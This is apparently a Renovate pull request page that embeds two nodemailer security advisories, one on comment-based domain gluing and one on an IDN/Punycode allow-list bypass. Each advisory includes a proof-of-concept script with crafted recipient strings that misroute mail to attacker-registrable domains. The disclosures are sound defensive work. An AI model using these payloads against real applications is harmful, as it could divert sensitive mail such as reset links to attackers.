An application that decides whether it is allowed to email a recipient by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an Interpretation Conflict (CWE‑436), the same class as CVE‑2025‑13033, reached through the RFC 5322 comment construct (the "Comments" technique in PortSwigger's Splitting the email atom research, which produced a Postfix fix).

Severity is Moderate: exploitation requires the app's domain check to disagree with Nodemailer (see Impact for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → aiosmtpd).

Details

Root cause is in lib/addressparser/index.js.

  1. The tokenizer registers the comment as an operator pair (Tokenizer.operators):
    '(': ')',            // line ~331
  2. When the closing ) is immediately followed by a non‑break character (anything other than space / tab / CR / LF / , / ;), the tokenizer marks that operator token with noBreak = true:
    // Tokenizer.checkChar, lines ~398-399
    if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
        this.node.noBreak = true;
    }
  3. _handleAddress then glues the token that follows the comment onto the token that preceded it (dropping the comment):
    // _handleAddress, lines ~187-188
    if (prevToken && prevToken.noBreak && data[state].length) {
        data[state][data[state].length - 1] += token.value;   // <-- concatenation
    }

For the input [email protected](x)evil.com the tokens are text:"[email protected]", op:"(", text:"x", op:")" (flagged noBreak), text:"evil.com". Step 3 appends evil.com onto [email protected], producing the single domain good-corp.comevil.com. The comment content (x) is discarded into the display‑name field.

RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may not appear inside a dot-atom. A comment therefore separates tokens and terminates the domain; the conformant reading of good-corp.com(x)evil.com is the domain good-corp.com (with the trailing evil.com being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.

Nodemailer uses the parsed address for both the SMTP envelope (getEnvelope() → RCPT TO) and the emitted To:/From: headers, so the entire message is routed to the concatenated domain.

Related grammar defect (bonus, lower impact): nested comments are legal in RFC 5322, but the tokenizer closes the comment at the first ) (chr === this.operatorExpecting, line ~392), so a valid nested comment such as [email protected](a(b)c) is mis‑balanced and mangled to x.comc). That particular output contains a stray ) and is rejected by a conformant MTA (501) — a bounce/robustness issue, not a misroute.

Suggested fix: treat a comment as folding whitespace that terminates the current token — i.e. do not propagate noBreak across a comment‑closing ) (restrict the noBreak optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.

PoC

Environment: Node.js ≥ 18 and the published [email protected]. No special transport configuration is required; the discrepancy is in address parsing.

poc-comment.js:

'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'good-corp.com';
const RECIPIENT = '[email protected](x)evil.com'; // RFC 5322 comment (x) between two domains

// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'hi', text: 'x' });
  t.close(); server.close();
});

Run:

npm init -y && npm install [email protected]
node poc-comment.js

Actual output (nodemailer 9.0.6):

nodemailer transmits : RCPT TO:<[email protected]>

The application asked to mail [email protected](x)evil.com; Nodemailer delivers to good-corp.comevil.com — registrable domain comevil.com, which an attacker can register.

Verified against a real RFC 5321 server (containerized lab included with this report — docker compose up --build, case R8_comment_glue, receiver = aiosmtpd):

wire RCPT TO                     : RCPT TO:<[email protected]>
real server                      : ACCEPTED (250)
recipient parsed by real server  : [email protected]   (domain good-corp.comevil.com)
delivered To header              : x <[email protected]>

Which parser sees what (the crux of exploitability):

Parser used by the application to gate/route Domain it reads from [email protected](x)evil.com Deceived?
Python email.policy.default (strict RFC 5322) good-corp.com (flags InvalidHeaderDefect) Yes, if defects are not checked
Naive prefix / substring allow‑list (startsWith/includes('@good-corp.com')) good-corp.com Yes
Nodemailer's own addressparser good-corp.comevil.com No
Python email.utils.getaddresses good-corp.comevil.com No
WHATWG url.domainToASCII good-corp.com(x)evil.com No
Impact
  • Who is impacted: applications that make a security or routing decision on the recipient domain using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser without inspecting parse defects, or with a prefix/substring/allow‑list check (e.g. "only send to @good-corp.com", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own addressparser, email.utils.getaddresses, or url.domainToASCII are not affected, which is why this is rated below the IDN/Punycode issue.
Patched in 9.1.0

Fixed in 902b63e.

Not propagating noBreak across the closing ) on its own breaks valid addresses, because CFWS is legal on either side of the @: user@(x)good-corp.com and user(x)@good-corp.com both come out mangled. A comment now joins what it separates only when one side carries the @, so those keep resolving while [email protected](x)evil.com terminates at good-corp.com.

Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: [email protected](a(b)c) now yields [email protected].

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain

GHSA-wmmp-3585-3rmp

More information

Details

Summary

Nodemailer resolves an international (IDN / non-ASCII) recipient domain to a different Punycode xn-- label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's url.domainToASCII, Python's idna). Its address normalizer (_normalizeAddress in lib/mime-node/index.js) uses the bundled raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a different, attacker‑registrable domain.

An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an unintended external domain. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.

Because the mismatch can be triggered with an invisible character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the exact trusted domain string, no visible look‑alike/homograph is required.

Details

lib/mime-node/index.js → _normalizeAddress(address) (around lines 1307–1346) splits the address at the last @ and normalizes the domain like this:

// lib/mime-node/index.js
try {
    if (/[\x80-�]/.test(user)) {
        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338
    } else {
        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340
    }
} catch (_err) {
    // keep domain as supplied
}
return `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346

punycode here is the project’s bundled codec (lib/punycode/), which is a pure RFC 3492 (Punycode) implementation. The only normalization applied to the domain is .toLowerCase(). It performs none of the UTS‑46 “IDNA2008 + compatibility processing” steps that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:

  • removing Ignored code points such as U+00AD SOFT HYPHEN,
  • Mapping full‑width / compatibility characters to their canonical ASCII forms,
  • Unicode NFC normalization,
  • validity checks.

As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s punycode.toASCII(...) produces a different A‑label than url.domainToASCII(...) (Node ≥ 7 / WHATWG), new URL('http://'+domain), browsers, and Python’s idna (uts46=True). Nodemailer then uses its A‑label as:

  • the SMTP envelope recipient written to the wire as RCPT TO:<local@xn--…> (getEnvelope() → lib/smtp-connection/index.js _setEnvelope), and
  • the address emitted in the To: / From: headers (_convertAddresses).

So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to disagree, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):

recipient (raw) UTS‑46 parser (url.domainToASCII) Nodemailer delivers to
victim@compa{U+00AD}ny.com (invisible soft hyphen) company.com xn--company-pka.com
victim@company.com (full‑width) company.com xn--mi7cd4afch9d.com
user@exámple.com (NFD a+U+0301) xn--exmple-qta.com xn--example-vge.com

This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s Splitting the email atom research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP idna_convert library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the quoted‑local‑part path only; this IDN path is independent and still present in 9.0.6 (latest) and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.

Suggested remediation: perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s url.domainToASCII() (available since Node 7) instead of the raw punycode.toASCII, and decode with the matching UTS‑46 domainToUnicode. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. punycode.toASCII(d) ≠ url.domainToASCII(d)).

PoC

Environment: Node.js ≥ 18, the published [email protected]. No special configuration; the discrepancy is in domain normalization itself.

poc-idn.js:

'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'company.com';                        // the only domain the app will mail
const RECIPIENT = 'victim@compa\u00ADny.com';           // attacker input: invisible U+00AD inside "company"

// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),
            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');

// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });
  t.close(); server.close();
});

Run:

npm init -y && npm install [email protected]
node poc-idn.js

❗ Important

✂ PR body was truncated to here.

@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 0f496c7 to 3b9d33f Compare June 18, 2026 20:57
@renovate renovate Bot changed the title chore(deps): update dependency nodemailer to v8.0.9 [security] fix(deps): update dependency nodemailer to v9 [security] Jun 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 3b9d33f to fb53146 Compare July 12, 2026 12:39
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from fb53146 to fce727e Compare August 12, 2026 00:37
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from fce727e to 93992ad Compare August 26, 2026 20:57
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 93992ad to 632d514 Compare September 2, 2026 19:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants